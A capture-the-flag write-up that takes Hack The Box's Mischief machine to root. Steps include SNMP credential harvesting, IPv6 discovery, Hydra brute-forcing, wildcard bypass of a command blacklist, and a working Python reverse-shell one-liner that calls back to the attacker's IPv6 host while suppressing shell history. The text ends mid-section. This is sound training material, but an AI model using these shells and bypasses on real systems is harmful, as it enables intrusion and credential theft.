The great mischief. Working your way to the root flag through IPv6 labyrinths on a Hack the Box virtual machine

In this article, I will explain how to gain superuser privileges on Mischief VM available on Hack The Box training grounds. During this journey, you will acquire some SNMP skills, understand the IPv6 routing principles, and learn how to deal with the access control list (ACL) regulating the files and folders permissions. In the end, I will show how to write an ICMP shell in Python and test it.

The difficulty level of this Linux VM is somewhere between Medium and Hard (6.3 out of 10). Initially, Mischief was rated Insane, but some errors made by its creator have downgraded its score.

The journey to the final flag includes the following stages:

  • collection and analysis of information provided by the SNMP protocol and subsequent extraction of the authentication data from command line arguments for a simple Python server;
  • retrieving the IPv6 address of the target machine from SNMP output (the first method) or from its MAC address through the pivoting of another host on Hack the Box (the second method, which is based on the EUI-64 algorithm);
  • detection of a web server located at the identified IPv6 address with a terminal that enables to remotely execute commands on the attacked machine;
  • bypassing the filtering; this enables to inject arbitrary commands and retrieve the user’s authentication credentials;
  • creation of a reverse shell using the IPv6 protocol and bypassing the iptables rules to be able to run su on behalf of www-data (because, as it turns out, the ACL is blocking the user) and launch a root session with a password ‘forgotten’ in .bash_history; and
  • icing on the cake: writing an ICMP shell in Python using the Scapy module. It enables to view results of remotely executed commands using the ping utility.

Intelligence collection


Traditionally, I start collecting information by scanning ports with Nmap.


First, I run a simple SYN scan to check the entire range of TCP ports on the host.

root@kali:~# nmap -n -v -Pn –min-rate 5000 -oA nmap/initial -p-

root@kali:~# cat nmap/initial.nmap

# Nmap 7.70 scan initiated Mon Apr 1 16:17:45 2019 as: nmap -n -v -Pn --min-rate 5000 -oA nmap/initial -p-

Nmap scan report for

Host is up (0.045s latency).

Not shown: 65533 filtered ports


22/tcp open ssh

3366/tcp open creativepartnr

Read data files from: /usr/bin/../share/nmap

# Nmap done at Mon Apr 1 16:18:11 2019 -- 1 IP address (1 host up) scanned in 26.45 seconds

Next, I scan ports 22 and 3366 using default NSE scripts to identify the service versions.

root@kali:~# nmap -n -v -Pn -sV -sC -oA nmap/version -p22,3366

root@kali:~# cat nmap/version.nmap

# Nmap 7.70 scan initiated Mon Apr 1 16:18:20 2019 as: nmap -n -v -Pn -sV -sC -oA nmap/version -p22,3366

Nmap scan report for

Host is up (0.042s latency).


22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)

| 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)

|_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)

3366/tcp open caldav Radicale calendar and contacts server (Python BaseHTTPServer)

| http-auth:

| HTTP/1.0 401 Unauthorized\x0D

|_ Basic realm=Test

| http-methods:

|_ Supported Methods: GET HEAD

|_http-server-header: SimpleHTTP/0.6 Python/2.7.15rc1

|_http-title: Site doesn't have a title (text/html).

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at .

# Nmap done at Mon Apr 1 16:18:44 2019 -- 1 IP address (1 host up) scanned in 24.05 seconds

Not much information… I can only see that:

  • this is a relatively new Ubuntu build. After checking the banner containing the string with the SSH version (OpenSSH 7.6p1 Ubuntu 4) on (a resource hosting repositories of Ubuntu source packages), I realize that this is a Bionic version dated 2018.03.07. Accordingly, it is useless to search for Secure Shell exploits; and
  • A simple Python HTTP server with authentication runs on TCP port 3366. It would be unprofessional to blindly brute-force anything in the very beginning; so, I am going to scan UDP ports to expand the scope of my attack.
Checking the OS version by the SSH banner

Checking the OS version by the SSH banner


I test the waters using the -sU flag for the UDP range.

root@kali:~# nmap -n -v -Pn –min-rate 5000 -oA nmap/udp-initial -sU -p-

root@kali:~# cat nmap/udp-initial.nmap

# Nmap 7.70 scan initiated Mon Apr 1 16:26:41 2019 as: nmap -n -v -Pn --min-rate 5000 -oA nmap/udp-initial -sU -p-

Nmap scan report for

Host is up (0.048s latency).

Not shown: 65534 open|filtered ports


161/udp open snmp

Read data files from: /usr/bin/../share/nmap

# Nmap done at Mon Apr 1 16:27:08 2019 -- 1 IP address (1 host up) scanned in 26.56 seconds

Then I make an advanced query.

root@kali:~# nmap -n -v -Pn -sV -sC -oA nmap/udp-version -sU -p161

root@kali:~# cat nmap/udp-version.nmap

# Nmap 7.70 scan initiated Mon Apr 1 16:27:39 2019 as: nmap -n -v -Pn -sV -sC -oA nmap/udp-version -sU -p161

Nmap scan report for

Host is up (0.043s latency).


161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)

| snmp-info:

| enterprise: net-snmp

| engineIDFormat: unknown

| engineIDData: b6a9f84e18fef95a00000000

| snmpEngineBoots: 19

|_ snmpEngineTime: 16h02m33s

| snmp-interfaces:

| lo

| IP address: Netmask:

| Type: softwareLoopback Speed: 10 Mbps

| Status: up

| Traffic stats: 0.00 Kb sent, 0.00 Kb received

| Intel Corporation 82545EM Gigabit Ethernet Controller (Copper)

| IP address: Netmask:

| MAC address: 00:50:56:b9:7c:aa (VMware)

| Type: ethernetCsmacd Speed: 1 Gbps

| Status: up

|_ Traffic stats: 456.93 Kb sent, 39.49 Mb received

| snmp-netstat:





| UDP *:*

| UDP *:*

|_ UDP *:*

| snmp-processes:

| [... SNMP output ...]

Service Info: Host: Mischief

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at .

# Nmap done at Mon Apr 1 16:30:03 2019 -- 1 IP address (1 host up) scanned in 143.80 seconds

The situation becomes increasingly interesting: there is an SNMP server on UDP port 161, and Nmap scripts managed to retrieve some information about it. I won’t provide here the entire Nmap output (it is lengthy and not very informative), but this seems to be a good starting point for breaking into the system.

Researching SNMP – UDP port 161

What is SNMP? According to Wikipedia,

Simple Network Management Protocol (SNMP) is an Internet Standard protocol for collecting and organizing information about managed devices on IP networks and for modifying that information to change device behavior. Devices that typically support SNMP include cable modems, routers, switches, servers, workstations, printers, and more. In typical uses of SNMP, one or more administrative computers called managers have the task of monitoring or managing a group of hosts or devices on a computer network. Each managed system executes a software component called an agent which reports information via SNMP to the manager.

Because of its default configuration on community strings, they are public for read-only access and private for read-write, SNMP topped the list of the SANS Institute’s Common Default Configuration Issues and was number ten on the SANS Top 10 Most Critical Internet Security Threats for the year 2000.

In other words, SNMP allows collecting and sharing information on operations performed by network hosts. Such information is organized in the Management Information Base (MIB). Object identifiers (OID) identify records in this database. For instance, identifier describes ipAddressTable (the table of IP addresses), while identifier describes ipAddressIfIndex (the interface index).

MIBs are based on the ASN.1 notation; they present the data in human-readable form; accordingly, they are not essential SNMP elements. The closest analogue is a DNS server that resolves easily readable domain names into digits constituting IP addresses.

Let’s see whether Kali Linux manages to extract any information from the SNMP service.

Configuring snmpwalk

To analyze the information provided by the target host through SNMP, I am going to use snmpwalk, a standard Linux utility for SNMP research.

If I run snmpwalk with its default settings, I would only get obscure OID values. Therefore, I will use snmp-mibs-downloader to download and install the MIB database. Installing the utility:

root@kali:~# apt install snmp-mibs-downloader -y

Then I allow the MIB usage by commenting out the only meaningful string in /etc/snmp/snmp.conf.

Collecting the dump

Using snmpwalk, I dump the entire SNMP traffic. I set the protocol version 2c (the most common one) and public community string, which is, in fact, the default password for the local authentication method.

root@kali:~# snmpwalk -v 2c -c public | tee snmpwalk.out

The output is massive; so, I redirect it to snmpwalk.out for further analysis.

Important: if you want to do the job ‘quietly’, request snmpwalk to provide only the information you really need. For instance, to get the list of running processes, use the option hrSWRunName (OID to refine the request.

root@kali:~# snmpwalk -v 2c -c public hrSWRunName

HOST-RESOURCES-MIB::hrSWRunName.1 = STRING: "systemd"

HOST-RESOURCES-MIB::hrSWRunName.2 = STRING: "kthreadd"

HOST-RESOURCES-MIB::hrSWRunName.4 = STRING: "kworker/0:0H"

HOST-RESOURCES-MIB::hrSWRunName.6 = STRING: "mm_percpu_wq"

HOST-RESOURCES-MIB::hrSWRunName.7 = STRING: "ksoftirqd/0"

HOST-RESOURCES-MIB::hrSWRunName.8 = STRING: "rcu_sched"

HOST-RESOURCES-MIB::hrSWRunName.9 = STRING: "rcu_bh"

HOST-RESOURCES-MIB::hrSWRunName.10 = STRING: "migration/0"

HOST-RESOURCES-MIB::hrSWRunName.11 = STRING: "watchdog/0"

HOST-RESOURCES-MIB::hrSWRunName.12 = STRING: "cpuhp/0"

HOST-RESOURCES-MIB::hrSWRunName.13 = STRING: "kdevtmpfs"

HOST-RESOURCES-MIB::hrSWRunName.14 = STRING: "netns"

HOST-RESOURCES-MIB::hrSWRunName.15 = STRING: "rcu_tasks_kthre"


List of running processes

As you remember, there is a Python HTTP server on TCP port 3366, and it requests authentication credentials. The login and password to such a server are provided to Python as command line arguments in the following form: SimpleHTTPAuthServer [-h] [--dir DIR] [--https] port key. Accordingly, I can try searching for them in the captured dump.

To do so, I have to find the Python interpreter process among the hrSWRunName-type records.

root@kali:~# cat snmpwalk.out | grep hrSWRunName | grep python

HOST-RESOURCES-MIB::hrSWRunName.593 = STRING: "python"

Using the received index, 593, I request to display everything pertaining to this process in hrSWRunTable.

root@kali:~# cat snmpwalk.out | grep 593


HOST-RESOURCES-MIB::hrSWRunName.593 = STRING: "python"


HOST-RESOURCES-MIB::hrSWRunPath.593 = STRING: "python"

HOST-RESOURCES-MIB::hrSWRunParameters.593 = STRING: "-m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/"

HOST-RESOURCES-MIB::hrSWRunType.593 = INTEGER: application(4)

HOST-RESOURCES-MIB::hrSWRunStatus.593 = INTEGER: runnable(2)


HOST-RESOURCES-MIB::hrSWRunPerfMem.593 = INTEGER: 13852 KBytes

HOST-RESOURCES-MIB::hrSWInstalledIndex.593 = INTEGER: 593

HOST-RESOURCES-MIB::hrSWInstalledName.593 = STRING: "tzdata-2018d-1"

HOST-RESOURCES-MIB::hrSWInstalledID.593 = OID: SNMPv2-SMI::zeroDotZero

HOST-RESOURCES-MIB::hrSWInstalledType.593 = INTEGER: application(4)

HOST-RESOURCES-MIB::hrSWInstalledDate.593 = STRING: 0-1-1,0:0:0.0

The hrSWRunParameters string provides parameters required to launch the server: -m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/; it also contains the authentication data I need: loki:godofmischiefisloki.

IPv6 address

While reviewing the processes, I found a running apache2 server.

root@kali:~# cat snmpwalk.out| grep hrSWRunName | grep apache

HOST-RESOURCES-MIB::hrSWRunName.770 = STRING: "apache2"

HOST-RESOURCES-MIB::hrSWRunName.2549 = STRING: "apache2"

HOST-RESOURCES-MIB::hrSWRunName.2550 = STRING: "apache2"

HOST-RESOURCES-MIB::hrSWRunName.2551 = STRING: "apache2"

HOST-RESOURCES-MIB::hrSWRunName.2552 = STRING: "apache2"

HOST-RESOURCES-MIB::hrSWRunName.2553 = STRING: "apache2"

Interestingly, Nmap hasn’t shown it. This may indicate that the server operates in the IPv6 environment, and it would be great to retrieve the respective IP address for an additional Nmap scanning (this time, for the IPv6 address).

root@kali:~# cat snmpwalk.out| grep ipAddressType | grep ipv6

IP-MIB::ipAddressType.ipv6."00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:01" = INTEGER: unicast(1)

IP-MIB::ipAddressType.ipv6."de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:b9:7c:aa" = INTEGER: unicast(1)

IP-MIB::ipAddressType.ipv6."fe:80:00:00:00:00:00:00:02:50:56:ff:fe:b9:7c:aa" = INTEGER: unicast(1)
root@kali:~# ping6 -c2 dead:beef::0250:56ff:feb9:7caa

PING dead:beef::0250:56ff:feb9:7caa(dead:beef::250:56ff:feb9:7caa) 56 data bytes

64 bytes from dead:beef::250:56ff:feb9:7caa: icmp_seq=1 ttl=63 time=43.5 ms

64 bytes from dead:beef::250:56ff:feb9:7caa: icmp_seq=2 ttl=63 time=42.9 ms

--- dead:beef::0250:56ff:feb9:7caa ping statistics ---

2 packets transmitted, 2 received, 0% packet loss, time 4ms

rtt min/avg/max/mdev = 42.922/43.214/43.507/0.358 ms

I see a routable IPv6 address (de:ad:be:ef::02:50:56:ff:fe:b9:7c:aa) and a link-local IPv6 address (fe:80::02:50:56:ff:fe:b9:7c:aa); both of them will change with every VM restart.


Using Mischief VM as an example, let’s see how a link-local IPv6 address is generated based on a 64-bit extended unique identifier EUI-64 contained in the MAC address.

I have to be at the same Data Link layer (OSI layer 2) with the host whose address I want to find out. To demonstrate how this works, I am going to log into another virtual PC on Hack the Box: Hawk. Because all the running instances are located in the same logical segment of the (virtual) network, I will be able to reach out to Mischief from Hawk. In other words, I will use Hawk as an interlink (i.e. Pivot Point).

I ping Mischief from Hawk and request the ARP table to retrieve the MAC address of Mischief VM.

root@hawk:~$ ping

PING ( 56(84) bytes of data.

64 bytes from icmp_seq=1 ttl=64 time=64.0 ms


--- ping statistics ---

1 packets transmitted, 1 received, 0% packet loss, time 0ms

rtt min/avg/max/mdev = 64.063/64.063/64.063/0.000 ms

root@hawk:~$ arp -a

_gateway ( at 00:50:56:aa:f1:dd [ether] on ens33

? ( at 00:50:56:b9:7c:aa [ether] on ens33

Now I have the MAC address: 00:50:56:b9:7c:aa. To convert it into a link-local IPv6 address, the following simple steps should be performed:

  1. Regroup the MAC address to bring it in compliance with the IPv6 format (two-octet groups): 0050:56b9:7caa.
  2. Add fe80:: in the beginning of the MAC address: fe80::0050:56b9:7caa.
  3. Insert ff:fe in the middle of the MAC address: fe80::0050:56ff:feb9:7caa.
  4. Invert the sixth bit of the MAC address: fe80::0250:56ff:feb9:7caa (it was 0000 0000; now it is 0000 0010, or 0x02).
  5. Specify the interface after the percent symbol (because in the IPv6 environment, addresses are assigned to interfaces (i.e. not directly to hosts); so, if you don’t specify the interface, the traffic won’t know where to go): fe80::0250:56ff:feb9:7caa%ens33.

Checking the result:

root@hawk:~$ ping6 -c4 fe80::0250:56ff:feb9:7caa%ens33

PING fe80::0250:56ff:feb9:7caa%ens33(fe80::250:56ff:feb9:7caa%ens33) 56 data bytes

64 bytes from fe80::250:56ff:feb9:7caa%ens33: icmp_seq=1 ttl=64 time=136 ms

64 bytes from fe80::250:56ff:feb9:7caa%ens33: icmp_seq=2 ttl=64 time=0.236 ms

64 bytes from fe80::250:56ff:feb9:7caa%ens33: icmp_seq=3 ttl=64 time=0.240 ms

64 bytes from fe80::250:56ff:feb9:7caa%ens33: icmp_seq=4 ttl=64 time=0.272 ms

--- fe80::0250:56ff:feb9:7caa%ens33 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3031ms

rtt min/avg/max/mdev = 0.236/34.259/136.290/58.907 ms

It’s alive! In theory, I could continue my journey to Mischief’s flags by proxying Hawk VM (i.e. implementing the Proxy Pivoting scheme); however, there is a more exciting way to hack the target machine.


A few more tools to deal with SNMP.

* snmp-check delivers a readable (although not very detailed) result out of the box; no need to install MIB. The utility is included in Kali Linux.

* onesixtyone brute-forces community strings. If the default string (public) hadn’t worked out, I would have no choice but to use this utility.

* enyx is a short Python script allowing to find out the IPv6 address of the host in one click using SNMP. Interestingly, the author of this script is the creator of Mischief VM.

Web – TCP port 3366

So, I get back to the open ports to examine the HTTP server.

Authentication form of the HTTP server

Authentication form of the HTTP server

Because I already know the credentials (loki:godofmischiefisloki) I authenticate and get on the page shown below.

After the successful authentication on the server

After the successful authentication on the server

I see a portrait of Loki (I won’t check it for steganography; trust me: there is nothing there) and another login:password pair: loki:trickeryanddeceit.

Nmap IPv6

As you remember, I had earlier found a running Apache sever on the host and promised to scan the IPv6 address with Nmap. As usual, this is done in two stages:

root@kali:~# nmap -6 -n -v -Pn –min-rate 5000 -oA nmap/ipv6-initial -p- dead:beef::0250:56ff:feb9:7caa

root@kali:~# cat nmap/ipv6-initial.nmap

# Nmap 7.70 scan initiated Tue Apr 2 23:57:10 2019 as: nmap -6 -n -v -Pn --min-rate 5000 -oA nmap/ipv6-initial -p- dead:beef::0250:56ff:feb9:7caa

Nmap scan report for dead:beef::250:56ff:feb9:7caa

Host is up (0.044s latency).

Not shown: 65533 closed ports


22/tcp open ssh

80/tcp open http

Read data files from: /usr/bin/../share/nmap

# Nmap done at Tue Apr 2 23:57:23 2019 -- 1 IP address (1 host up) scanned in 13.65 seconds
root@kali:~# nmap -6 -n -v -Pn -sV -sC -oA nmap/ipv6-version -p22,80 dead:beef::0250:56ff:feb9:7caa

root@kali:~# cat nmap/ipv6-version.nmap

# Nmap 7.70 scan initiated Tue Apr 2 23:58:05 2019 as: nmap -6 -n -v -Pn -sV -sC -oA nmap/ipv6-version -p22,80 dead:beef::0250:56ff:feb9:7caa

Nmap scan report for dead:beef::250:56ff:feb9:7caa

Host is up (0.043s latency).


22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)

| 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)

|_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

|_http-server-header: Apache/2.4.29 (Ubuntu)

|_http-title: 400 Bad Request

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

| address-info:

| IPv6 EUI-64:

| MAC address:

| address: 00:50:56:b9:7c:aa

|_ manuf: VMware

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at .

# Nmap done at Tue Apr 2 23:58:15 2019 -- 1 IP address (1 host up) scanned in 9.41 seconds

I see the SSH server again (just like it was with IPv4) and a previously concealed Apache web server on port 80. Let’s check it out.

Web – IPv6 port 80


Another login request welcomes me at http://[dead:beef::250:56ff:feb9:7caa]:80/.

Large Login button on the main page

Large Login button on the main page

Yet another authentication form

Yet another authentication form

So, I have encountered another “guess the username” riddle. In fact, I can ignore it because the authentication can be bypassed (more detail in the epilogue). However, for the sake of accuracy, let’s brute-force this form with THC-Hydra.

I create a file containing the possible passwords (as you remember, both of them are present on the HTTP server).

root@kali:~# cat passwords.lst



Then I grab the list of usernames from the SecLists collection and launch a brute force attack. As a failure marker, I use the line Sorry, those credentials do not match returned by the server after an unsuccessful authentication attempt.

root@kali:~# hydra -V -t 4 -f -I -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P passwords.lst ‘dead:beef:0000:0000:0250:56ff:feb9:7caa’ http-form-post ‘/login.php:user=^USER^&password=^PASS^:Sorry, those credentials do not match

Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra ( starting at 2019-04-04 23:33:58

[DATA] max 4 tasks per 1 server, overall 4 tasks, 34 login tries (l:17/p:2), ~9 tries per task

[DATA] attacking http-post-form://[dead:beef:0000:0000:0250:56ff:feb9:7caa]:80/login.php:user=^USER^&password=^PASS^:Sorry, those credentials do not match


[80][http-post-form] host: dead:beef:0000:0000:0250:56ff:feb9:7caa login: administrator password: trickeryanddeceit

[STATUS] attack finished for dead:beef:0000:0000:0250:56ff:feb9:7caa (valid pair found)

1 of 1 target successfully completed, 1 valid password found

Hydra ( finished at 2019-04-04 23:34:00

Success! I’ve got valid logon credentials: administrator:trickeryanddeceit.

Command Execution Panel

After the successful authentication, I get access to a window enabling remote command execution (RCE); it offers me to ping the localhost.

I have logged into the Apache web server

I have logged into the Apache web server

Why not follow the recommendation? To ensure that the command is executed correctly, I will replace with the IP address of my own machine. I launch tcpdump to see the response to the ICMP request from and start pinging.

Pinging my PC from Mischief

Pinging my PC from Mischief

root@kali:~# tcpdump -n -i tun0 icmp

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes

01:08:50.065483 IP > ICMP echo request, id 1490, seq 1, length 64

01:08:50.065501 IP > ICMP echo reply, id 1490, seq 1, length 64

01:08:51.050468 IP > ICMP echo request, id 1490, seq 2, length 64

01:08:51.050485 IP > ICMP echo reply, id 1490, seq 2, length 64


4 packets captured

4 packets received by filter

0 packets dropped by kernel

The command was executed successfully; so, I can continue the experiment.

Filtering commands

If you try using nc to initiate a reverse connection, you’ll be disappointed.

Calling a command containing blacklisted words

Calling a command containing blacklisted words

Apparently, a WAF-like process is running on the target machine and blocking commands containing blacklisted words. I have to retrieve the session cookie to find out which commands are allowed and which are not. To do so, I send such requests to the web server using curl.

root@kali:~# curl -6 -s -X POST ‘http://[dead:beef::250:56ff:feb9:7caa]:80/’ -H ‘Cookie: PHPSESSID=bppkfmhuiv9kngkmvir3s44vtj’ -d ‘command=nc’

<!DOCTYPE html>


<title>Command Execution Panel (Beta)</title>


<link rel="stylesheet" type="text/css" href="assets/css/style.css">

<link href="" rel="stylesheet" type="text/css">



<div class="header">

<a href="/">Command Execution Panel</a>


<br />Welcome administrator

<br /><br />

<a href="logout.php">Logout?</a>

<form action="/" method="post">

Command: <br>

<input type="text" name="command" value="ping -c 2"><br>

<input type="submit" value="Execute">




<p>In my home directory, i have my password in a file called credentials, Mr Admin




Command is not allowed.

To automate the process, let’s write a short Bash script that will take the wordlist containing commands to be checked as an input (the commands can be taken from here):

Below is a partial result of its work.

A fragment of the script output

A fragment of the script output

In the end of this article, I will address the filtering process in more detail.

Hijacking the Loki account

Reviewing command results

How the result of a command called in the Command Execution Panel is analyzed? In my opinion, the most likely scenario is this. The output is redirected to /dev/null, and the execution success is checked based on the return code. But the problem is that the piping and redirection mechanism in Bash is far from intuitive, while the price of a misconfig may be pretty high. For instance, if you incorrectly set up the redirection for two stacked (i.e. separated by ;) commands, only the result of the last command in the chain would be sent to /dev/null, while results of the previous command would go to stdout.

Therefore, after executing two stacked commands: whoami; echo, I was not really surprised with the result

Result of the stacked commands

Result of the stacked commands

So, I can see the output of an executed command… I must say that this hacking mechanism is not the one intended by the creator of the VM. But who cares? The first method I use to hijack the Loki’s account exploits this configuration error.

Method 1: /home/loki/credentials

The web interface of the Command Execution Panel displays a hint indicating where the user credentials are located. But you cannot simply type cat /home/loki/credentials; to get Loki’s login information because the word credentials is blacklisted.

OK, what else is blacklisted here?

OK, what else is blacklisted here?

However, the screenshot demonstrates that I can call credentials using credential? or cred*. That’s great, but first, I have to write a script to perform such operations without exiting the terminal. Using grep and regular expressions, I am going to grab only the output of the executed command and exclude the page source code from the results of the curl command.

I test the script on standard commands that I always try on a new VM.

root@kali:~# ./ ‘dead:beef::250:56ff:feb9:7caa’ ‘PHPSESSID=a7kss4kl91ts09dq153lekjmjf’

mischief> whoami


mischief> id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

mischief> uname -a

Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

And then I grab the SSH authentication credentials.

root@kali:~# ./ ‘dead:beef::250:56ff:feb9:7caa’ ‘PHPSESSID=a7kss4kl91ts09dq153lekjmjf’

mischief> cat /home/loki/cred*

pass: lokiisthebestnorsegod

Finally, I can initiate an SSH connection as loki:lokiisthebestnorsegod.

root@kali:~# sshpass -p ‘lokiisthebestnorsegod’ ssh loki@

Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64)

* Documentation:

* Management:

* Support:

System information disabled due to load higher than 1.0

* Canonical Livepatch is available for installation.

- Reduce system reboots and improve kernel security. Activate at:

0 packages can be updated.

0 updates are security updates.

Last login: Sat Jul 14 12:44:04 2018 from

And here is the first flag: the user’s one.

loki@Mischief:~$ cat user.txt


Method 2: reverse shell

The local WAF does not block python; so, I am going to craft a reverse shell on its basis and try to get a response. The code is standard: I connect to a remote socket at the specified address and port, create three standard file descriptors (0, 1, and 2), ensure that the history is sent to /dev/null, and spawn a PTY shell with the interpreter process /bin/sh (because the word bash is blacklisted by the WAF).

In the field, such code is executed in one string; the -c flag sends this string to Python for execution directly from the terminal.

root@kali:~# ./ ‘dead:beef::250:56ff:feb9:7caa’ ‘PHPSESSID=lofmvtjj3hq2jfp1pgev2bh1pb’

mischief> python -c ‘import socket,os,pty; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((“”,31337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv(“HISTFILE”,”/dev/null”); pty.spawn(“/bin/sh”); s.close()’

Too bad, no response. The shell did not return anything. However, based on a distinctive ‘freezing’ during the execution of the last command, I suppose that the outgoing IPv4 traffic is filtered. I try the same command for IPv6 and successfully intercept a response by a listener launched beforehand.

root@kali:~# ./ ‘dead:beef::250:56ff:feb9:7caa’ ‘PHPSESSID=lofmvtjj3hq2jfp1pgev2bh1pb’

mischief> python -c ‘import socket,os,pty; s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM); s.connect((“dead:beef:2::1009”,31337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv(“HISTFILE”,”/dev/null”); pty.spawn(“/bin/sh”); s.close()’

The netcat utility with the -6 flag is used to listen on IPv6.

root@kali:~# nc -6 -lvnp 31337

Ncat: Version 7.70 ( )

Ncat: Listening on :::31337

Ncat: Connection from dead:beef::250:56ff:feb9:7caa.

Ncat: Connection from dead:beef::250:56ff:feb9:7caa:47306.

root@kali:~# whoami


Upgrade to a fully interactive shell

It’s useful to know how to upgrade a clumsy reverse shell to a full-featured interactive shell supporting such features as command autocompletion (by the Tab key) and control symbols, including the up and down arrow keys, CTRL-R to search the history, CTRL-C to kill a process within the shell (while not killing the shell), etc.

In Linux, this can be done as follows.

1. Spawn a regular PTY shell.

root@kali:~$ python -c ‘import pty;pty.spawn(“/bin/bash”)’

python -c 'import pty;pty.spawn("/bin/bash")'


2. Send the remote shell into background to configure the local terminal.

www-data@Mischief:/var/www/html$ ^Z


3. Find out the size of the terminal window by filtering out the output of the stty -a command.

root@kali:~# stty -a | head -n1 | cut -d ‘;’ -f 2-3 | cut -b2- | sed ‘s/; /\n/’

rows 60

columns 200

4. Disable the echo in the local terminal (to make sure that commands entered in the console mode are not duplicated), switch to the raw mode (also in the local terminal), and wake up the ‘sleeping’ reverse shell process.

root@kali:~# stty raw -echo; fg

5. Adjust the remote terminal to the same height and width as the one on the attacking machine (to avoid watching distorted command outputs).

www-data@Mischief:/var/www/html$ stty rows 60 cols 200

6. Set the value of the environment variable TERM to display outputs in color (provided that the installed terminal supports this feature).

www-data@Mischief:/var/www/html$ export TERM=xterm-256color

7. Finally, restart the shell to enable the interpreter to apply the new TERM value.

www-data@Mischief:/var/www/html$ exec /bin/bash

Now you can enjoy stable work on a remote host with all benefits provided by an interactive shell.

Going back to Mischief VM: after creating a reverse shell, I use the su command to escalate from the current user to Loki (as you remember, I already know the password).

www-data@Mischief:/var/www/html$ su – loki

Password: lokiisthebestnorsegod

loki@Mischief:~$ whoami


Time to capture the Loki’s flag.

loki@Mischief:~$ cat user.txt


PrivEsc: loki → root

Password in .bash_history

After exploring the host for a while, I found in .bash_history a password to the Python server resembling one of the passwords discovered earlier.

loki@Mischief:~$ cat .bash_history

python -m SimpleHTTPAuthServer loki:lokipasswordmischieftrickery


free -mt


cd /etc/

sudo su



su root

ls -la

sudo -l



cat .bash_history

nano .bash_history


But it turned out to be the root password: root:lokipasswordmischieftrickery

su on behalf of loki

Being authorized as loki, I cannot escalate my privileges using su.

loki@Mischief:~$ su –

-bash: /bin/su: Permission denied

Why? Good question. Anyone can execute a binary file…

loki@Mischief:~$ ls -l /bin/su

-rwsr-xr-x+ 1 root root 44664 Jan 25 2018 /bin/su

…but the plus symbol at the end of the main access rules indicates that additional rules have been applied to the file; namely, an access-control list (ACL) mechanism.

Access Control Lists

Unfortunately, the standard model for access rights differentiation used in Unix (user/group/other) is not too flexible; it is suited only for simple user hierarchy schemes. To implement more complex access rights structures, an additional security mechanism, ACL (Access Control Lists), has been introduced. It allows to fine-tune file and directory access policies for users and groups.

Using the getfacl, I display the ACL listing for the object (file) /bin/su and examine each of the settings.

loki@Mischief:~$ getfacl /bin/su

getfacl: Removing leading '/' from absolute path names

# file: bin/su – file name

# owner: root – file owner (basic Unix permissions)

# group: root – file group (basic Unix permissions)

# flags: s-- – flags determining whether setuid, setgid, and sticky bits, respectively, are set

user::rwx – basic Unix rules for a file

user:loki:r-- – ACL permissions for a file

group::r-x – basic Unix permissions for the file group

mask::r-x – effective mask (restriction of maximum permissions for the file)

other::r-x – basic permissions of other Unix users

As you can see, Loki can read the file /bin/su, but cannot execute it. The same situation is with sudo.

loki@Mischief:~$ getfacl /usr/bin/sudo

getfacl: Removing leading '/' from absolute path names

# file: usr/bin/sudo

# owner: root

# group: root

# flags: s--






By the way, the getfacl command can also be used to view all objects (i.e. files and directories) whose access permissions are regulated by the ACL rules.

loki@Mischief:~$ getfacl -R -s -p / 2>/dev/null | sed -n ‘s/^# file: //p’



Therefore, I have to find another way to enter the superusers’ credentials.

Method 1: su on behalf of www-data

This way is pretty straightforward: I get back to my, trigger the shell again, and escalate privileges to root from there.

www-data@Mischief:/var/www/html$ su –

Password: lokipasswordmischieftrickery

root@Mischief:~# whoami


root@Mischief:~# id

uid=0(root) gid=0(root) groups=0(root)

Method 2: su on behalf of systemd-run

I cannot use su to change the user, but I can do this through the systemd service manager using a unit created during the runtime. Of course, I won’t get a shell ‘here and now’ this way, but I will be able to initiate an IPv6 reverse shell (as I did earlier).

